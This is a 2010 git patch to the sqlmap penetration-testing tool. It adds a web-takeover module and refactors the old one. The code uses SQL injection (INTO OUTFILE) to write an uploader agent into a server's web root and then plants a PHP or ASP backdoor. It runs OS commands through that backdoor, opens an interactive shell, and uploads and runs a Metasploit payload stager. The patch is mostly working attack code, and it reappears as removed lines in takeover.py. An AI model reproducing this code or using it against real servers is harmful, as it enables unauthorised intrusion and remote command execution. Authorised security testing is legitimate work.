From 070ccc30e955e462275d5ca48e7dba1eb982a385 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 14 Jan 2010 14:03:16 +0000 Subject: [PATCH] Added automatic support in --os-pwn to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP. Updated ChangeLog. Major code refactoring. --- doc/ChangeLog | 8 ++ lib/takeover/abstraction.py | 9 +- lib/takeover/metasploit.py | 18 ++- lib/takeover/web.py | 229 ++++++++++++++++++++++++++++++++++++ plugins/generic/takeover.py | 201 +++---------------------------- 5 files changed, 276 insertions(+), 189 deletions(-) create mode 100644 lib/takeover/web.py diff --git a/doc/ChangeLog b/doc/ChangeLog index 13dc4d79a..dd8e41965 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -7,6 +7,11 @@ sqlmap (0.8-1) stable; urgency=low * Added support to parse -C (column name(s)) when fetching columns of a table with --columns: it will enumerate only columns like the provided one(s) within the specified table (Bernardo). + * Added support for takeover features on PostgreSQL 8.4 (Bernardo). + * Added automatic support in --os-pwn to use the web uploader/backdoor + to upload and execute the Metasploit payload stager when stacked + queries SQL injection is not supported, for instance on MySQL/PHP and + MySQL/ASP (Bernardo). * Added support to automatically decode deflate, gzip and x-gzip HTTP responses (Miroslav). * Support for NTLM authentication via python-ntlm third party library, @@ -27,6 +32,9 @@ sqlmap (0.8-1) stable; urgency=low * Fixed URL encoding/decoding of GET/POST parameters and Cookies (Miroslav). * Major bugs fixed (Bernardo and Miroslav). + * Cleanup of UDF source code repository, + https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo + and Miroslav). * Minor code cleanup (Miroslav). -- Bernardo Damele A. G. Mon, 1 Mar 2010 10:00:00 +0000 diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 9500d10cb..aa463b35f 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -30,9 +30,10 @@ from lib.core.dump import dumper from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.takeover.udf import UDF +from lib.takeover.web import Web from lib.takeover.xp_cmdshell import xp_cmdshell -class Abstraction(UDF, xp_cmdshell): +class Abstraction(Web, UDF, xp_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities to UDF / xp_cmdshell objects @@ -42,6 +43,7 @@ class Abstraction(UDF, xp_cmdshell): self.envInitialized = False UDF.__init__(self) + Web.__init__(self) xp_cmdshell.__init__(self) def __cmdShellCleanup(self): @@ -57,7 +59,10 @@ class Abstraction(UDF, xp_cmdshell): raise sqlmapUnsupportedFeatureException, errMsg def execCmd(self, cmd, silent=False, forgeCmd=False): - if kb.dbms in ( "MySQL", "PostgreSQL" ): + if self.webBackdoorUrl and not kb.stackedTest: + self.webBackdoorRunCmd(cmd, silent=True) + + elif kb.dbms in ( "MySQL", "PostgreSQL" ): self.udfExecCmd(cmd, silent=silent) elif kb.dbms == "Microsoft SQL Server": diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 3acf482bd..e1a5c8370 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -425,10 +425,10 @@ class Metasploit: cmd = "%s &" % self.exeFilePathRemote - if self.cmdFromChurrasco: + if self.cmdFromChurrasco and kb.stackedTest: cmd = "%s \"%s\"" % (self.churrascoPath, cmd) - if kb.dbms == "Microsoft SQL Server": + if kb.dbms == "Microsoft SQL Server" and kb.stackedTest: cmd = self.xpCmdshellForgeCmd(cmd) self.execCmd(cmd, silent=True) @@ -634,11 +634,19 @@ class Metasploit: errMsg = "failed to create the payload stager (%s)" % payloadStderr raise sqlmapFilePathException, errMsg - def uploadMsfPayloadStager(self): - self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) + def uploadMsfPayloadStager(self, web=False): + if web: + self.exeFilePathRemote = "./%s" % os.path.basename(self.exeFilePathLocal) + else: + self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote) - self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False) + + if web: + for directory in self.webDirectories: + self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, directory) + else: + self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False) os.unlink(self.exeFilePathLocal) diff --git a/lib/takeover/web.py b/lib/takeover/web.py new file mode 100644 index 000000000..6cd37613e --- /dev/null +++ b/lib/takeover/web.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import os +import re + +from lib.core.agent import agent +from lib.core.common import fileToStr +from lib.core.common import getDirs +from lib.core.common import getDocRoot +from lib.core.common import readInput +from lib.core.convert import hexencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.shell import autoCompletion +from lib.request.connect import Connect as Request + + +class Web: + """ + This class defines web-oriented OS takeover functionalities for + plugins. + """ + + def __init__(self): + self.webApi = None + self.webBaseUrl = None + self.webBackdoorUrl = None + self.webUploaderUrl = None + self.webDirectories = set() + + def webBackdoorRunCmd(self, cmd, silent=False): + if self.webBackdoorUrl is None: + return + + output = None + + if not cmd: + cmd = conf.osCmd + + cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) + page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True) + + if page is not None: + output = re.search("
(.+?)
", page, re.I | re.S) + + if not silent: + if output: + print output.group(1) + else: + print "No output" + + return output + + def webBackdoorShell(self): + if self.webBackdoorUrl is None: + return + + infoMsg = "calling OS shell. To quit type " + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) + + autoCompletion(osShell=True) + + while True: + command = None + + try: + command = raw_input("os-shell> ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not command: + continue + + if command.lower() in ( "x", "q", "exit", "quit" ): + break + + self.webBackdoorRunCmd(command) + + def webFileUpload(self, fileToUpload, destFileName, directory): + if self.webApi == "php": + multipartParams = { + "upload": "1", + "file": open(fileToUpload, "r"), + "uploadDir": directory, + } + page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams) + + if "Backdoor uploaded" not in page: + warnMsg = "unable to upload the backdoor through " + warnMsg += "the uploader agent on '%s'" % directory + logger.warn(warnMsg) + + elif self.webApi == "asp": + backdoorRemotePath = "%s/%s" % (directory, destFileName) + backdoorRemotePath = os.path.normpath(backdoorRemotePath) + backdoorContent = open(fileToUpload, "r").read() + postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent) + page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr) + + if "permission denied" in page.lower(): + warnMsg = "unable to upload the backdoor through " + warnMsg += "the uploader agent on '%s'" % directory + logger.warn(warnMsg) + + elif self.webApi == "jsp": + pass + + def webInit(self): + """ + This method is used to write a web backdoor (agent) on a writable + remote directory within the web server document root. + """ + + if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None: + return + + self.checkDbmsOs() + + kb.docRoot = getDocRoot() + self.webDirectories = getDirs() + self.webDirectories = list(self.webDirectories) + self.webDirectories.sort() + + infoMsg = "trying to upload the uploader agent" + logger.info(infoMsg) + + message = "which web application language does the web server " + message += "support?\n" + message += "[1] ASP\n" + message += "[2] PHP (default)\n" + message += "[3] JSP" + + while True: + choice = readInput(message, default="2") + + if not choice or choice == "2": + self.webApi = "php" + break + + elif choice == "1": + self.webApi = "asp" + break + + elif choice == "3": + errMsg = "JSP web backdoor functionality is not yet " + errMsg += "implemented" + raise sqlmapUnsupportedDBMSException(errMsg) + + elif not choice.isdigit(): + logger.warn("invalid value, only digits are allowed") + + elif int(choice) < 1 or int(choice) > 3: + logger.warn("invalid value, it must be 1 or 3") + + backdoorName = "backdoor.%s" % self.webApi + backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName) + uploaderName = "uploader.%s" % self.webApi + uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName)) + + for directory in self.webDirectories: + # Upload the uploader agent + outFile = os.path.normpath("%s/%s" % (directory, uploaderName)) + uplQuery = uploaderStr.replace("WRITABLE_DIR", directory) + query = " LIMIT 1 INTO OUTFILE '%s' " % outFile + query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) + query = agent.prefixQuery(" %s" % query) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + + requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) + self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName) + self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/") + uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True) + + if "sqlmap backdoor uploader" not in uplPage: + warnMsg = "unable to upload the uploader " + warnMsg += "agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + infoMsg = "the uploader agent has been successfully uploaded " + infoMsg += "on '%s'" % directory + logger.info(infoMsg) + + self.webFileUpload(backdoorPath, backdoorName, directory) + self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) + + infoMsg = "the backdoor has probably been successfully " + infoMsg += "uploaded on '%s', go with your browser " % directory + infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl + logger.info(infoMsg) + + break diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 1d1709c78..2988ad0eb 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -57,176 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry): Abstraction.__init__(self) - def __webBackdoorRunCmd(self, backdoorUrl, cmd): - output = None - - if not cmd: - cmd = conf.osCmd - - cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd) - page, _ = Request.getPage(url=cmdUrl, direct=True) - output = re.search("
(.+?)
", page, re.I | re.S) - - if output: - print output.group(1) - else: - print "No output" - - return output - - def __webBackdoorShell(self, backdoorUrl): - infoMsg = "calling OS shell. To quit type " - infoMsg += "'x' or 'q' and press ENTER" - logger.info(infoMsg) - - autoCompletion(osShell=True) - - while True: - command = None - - try: - command = raw_input("os-shell> ") - except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) - except EOFError: - print - errMsg = "exit" - logger.error(errMsg) - break - - if not command: - continue - - if command.lower() in ( "x", "q", "exit", "quit" ): - break - - self.__webBackdoorRunCmd(backdoorUrl, command) - - def __webBackdoorInit(self): - """ - This method is used to write a web backdoor (agent) on a writable - remote directory within the web server document root. - """ - - self.checkDbmsOs() - - backdoorUrl = None - language = None - kb.docRoot = getDocRoot() - directories = getDirs() - directories = list(directories) - directories.sort() - - infoMsg = "trying to upload the uploader agent" - logger.info(infoMsg) - - message = "which web application language does the web server " - message += "support?\n" - message += "[1] ASP\n" - message += "[2] PHP (default)\n" - message += "[3] JSP" - - while True: - choice = readInput(message, default="2") - - if not choice or choice == "2": - language = "php" - break - - elif choice == "1": - language = "asp" - break - - elif choice == "3": - errMsg = "JSP web backdoor functionality is not yet " - errMsg += "implemented" - raise sqlmapUnsupportedDBMSException(errMsg) - - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") - - elif int(choice) < 1 or int(choice) > 3: - logger.warn("invalid value, it must be 1 or 3") - - backdoorName = "backdoor.%s" % language - backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName) - uploaderName = "uploader.%s" % language - uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName)) - - for directory in directories: - # Upload the uploader agent - outFile = os.path.normpath("%s/%s" % (directory, uploaderName)) - uplQuery = uploaderStr.replace("WRITABLE_DIR", directory) - query = " LIMIT 1 INTO OUTFILE '%s' " % outFile - query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) - query = agent.prefixQuery(" %s" % query) - query = agent.postfixQuery(query) - payload = agent.payload(newValue=query) - page = Request.queryPage(payload) - - requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) - baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) - uploaderUrl = "%s/%s" % (baseUrl, uploaderName) - uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/") - uplPage, _ = Request.getPage(url=uploaderUrl, direct=True) - - if "sqlmap backdoor uploader" not in uplPage: - warnMsg = "unable to upload the uploader " - warnMsg += "agent on '%s'" % directory - logger.warn(warnMsg) - - continue - - infoMsg = "the uploader agent has been successfully uploaded " - infoMsg += "on '%s'" % directory - logger.info(infoMsg) - - # Upload the backdoor through the uploader agent - if language == "php": - multipartParams = { - "upload": "1", - "file": open(backdoorPath, "r"), - "uploadDir": directory, - } - page = Request.getPage(url=uploaderUrl, multipart=multipartParams) - - if "Backdoor uploaded" not in page: - warnMsg = "unable to upload the backdoor through " - warnMsg += "the uploader agent on '%s'" % directory - logger.warn(warnMsg) - - continue - - elif language == "asp": - backdoorRemotePath = "%s/%s" % (directory, backdoorName) - backdoorRemotePath = os.path.normpath(backdoorRemotePath) - backdoorContent = open(backdoorPath, "r").read() - postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent) - page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr) - - if "permission denied" in page.lower(): - warnMsg = "unable to upload the backdoor through " - warnMsg += "the uploader agent on '%s'" % directory - logger.warn(warnMsg) - - continue - - elif language == "jsp": - pass - - backdoorUrl = "%s/%s" % (baseUrl, backdoorName) - - infoMsg = "the backdoor has probably been successfully " - infoMsg += "uploaded on '%s', go with your browser " % directory - infoMsg += "to '%s' and enjoy it!" % backdoorUrl - logger.info(infoMsg) - - break - - return backdoorUrl - def uploadChurrasco(self): msg = "do you want sqlmap to upload Churrasco and call the " msg += "Metasploit payload stager as its argument so that it " @@ -250,14 +80,11 @@ class Takeover(Abstraction, Metasploit, Registry): stackedTest() if not kb.stackedTest: - infoMsg = "going to upload a web page backdoor for command " - infoMsg += "execution" + infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) - backdoorUrl = self.__webBackdoorInit() - - if backdoorUrl: - self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd) + self.webInit() + self.webBackdoorRunCmd(conf.osCmd) else: self.initEnv() self.runCmd(conf.osCmd) @@ -266,14 +93,11 @@ class Takeover(Abstraction, Metasploit, Registry): stackedTest() if not kb.stackedTest: - infoMsg = "going to upload a web page backdoor for command " - infoMsg += "execution" + infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) - backdoorUrl = self.__webBackdoorInit() - - if backdoorUrl: - self.__webBackdoorShell(backdoorUrl) + self.webInit() + self.webBackdoorShell() else: self.initEnv() self.absOsShell() @@ -282,6 +106,19 @@ class Takeover(Abstraction, Metasploit, Registry): stackedTest() if not kb.stackedTest: + infoMsg = "going to use a web backdoor to execute the " + infoMsg += "payload stager" + logger.info(infoMsg) + + self.webInit() + + if self.webBackdoorUrl: + self.getRemoteTempPath() + self.createMsfPayloadStager() + self.uploadMsfPayloadStager(web=True) + + self.pwn() + return self.initEnv()